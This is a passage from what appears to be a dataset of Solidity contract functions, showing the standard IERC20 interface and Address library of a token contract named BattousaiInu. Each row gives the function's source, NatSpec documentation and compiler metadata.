event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
} | approve | function approve(address spender, uint256 amount) external returns (bool);
| /**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/ | NatSpecMultiLine | v0.8.0+commit.c7dfd78e | MIT | ipfs://6ef852eee7c15cd9a483f6f0b50ed5982b888fdc0133e14f463bd105183674c6 | {
"func_code_index": [
1648,
1727
]
} | 59,901 |
||
BattousaiInu | BattousaiInu.sol | 0x77735134f6c70b430602d546dc3e94b3f778ad68 | Solidity | IERC20 | interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.s
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
} | transferFrom | function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
| /**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/ | NatSpecMultiLine | v0.8.0+commit.c7dfd78e | MIT | ipfs://6ef852eee7c15cd9a483f6f0b50ed5982b888fdc0133e14f463bd105183674c6 | {
"func_code_index": [
2040,
2142
]
} | 59,902 |
||
BattousaiInu | BattousaiInu.sol | 0x77735134f6c70b430602d546dc3e94b3f778ad68 | Solidity | Address | library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
} | isContract | function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
| /**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/ | NatSpecMultiLine | v0.8.0+commit.c7dfd78e | MIT | ipfs://6ef852eee7c15cd9a483f6f0b50ed5982b888fdc0133e14f463bd105183674c6 | {
"func_code_index": [
606,
1230
]
} | 59,903 |
||
BattousaiInu | BattousaiInu.sol | 0x77735134f6c70b430602d546dc3e94b3f778ad68 | Solidity | Address | library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
} | sendValue | function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
| /**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/ | NatSpecMultiLine | v0.8.0+commit.c7dfd78e | MIT | ipfs://6ef852eee7c15cd9a483f6f0b50ed5982b888fdc0133e14f463bd105183674c6 | {
"func_code_index": [
2160,
2562
]
} | 59,904 |
||
BattousaiInu | BattousaiInu.sol | 0x77735134f6c70b430602d546dc3e94b3f778ad68 | Solidity | Address | library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
} | functionCall | function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
| /**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/ | NatSpecMultiLine | v0.8.0+commit.c7dfd78e | MIT | ipfs://6ef852eee7c15cd9a483f6f0b50ed5982b888fdc0133e14f463bd105183674c6 | {
"func_code_index": [
3318,
3496
]
} | 59,905 |
||
BattousaiInu | BattousaiInu.sol | 0x77735134f6c70b430602d546dc3e94b3f778ad68 | Solidity | Address | library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
} | functionCall | function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
| /**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/ | NatSpecMultiLine | v0.8.0+commit.c7dfd78e | MIT | ipfs://6ef852eee7c15cd9a483f6f0b50ed5982b888fdc0133e14f463bd105183674c6 | {
"func_code_index": [
3721,
3922
]
} | 59,906 |
||
BattousaiInu | BattousaiInu.sol | 0x77735134f6c70b430602d546dc3e94b3f778ad68 | Solidity | Address | library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
} | functionCallWithValue | function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
| /**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/ | NatSpecMultiLine | v0.8.0+commit.c7dfd78e | MIT | ipfs://6ef852eee7c15cd9a483f6f0b50ed5982b888fdc0133e14f463bd105183674c6 | {
"func_code_index": [
4292,
4523
]
} | 59,907 |
||
BattousaiInu | BattousaiInu.sol | 0x77735134f6c70b430602d546dc3e94b3f778ad68 | Solidity | Address | library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
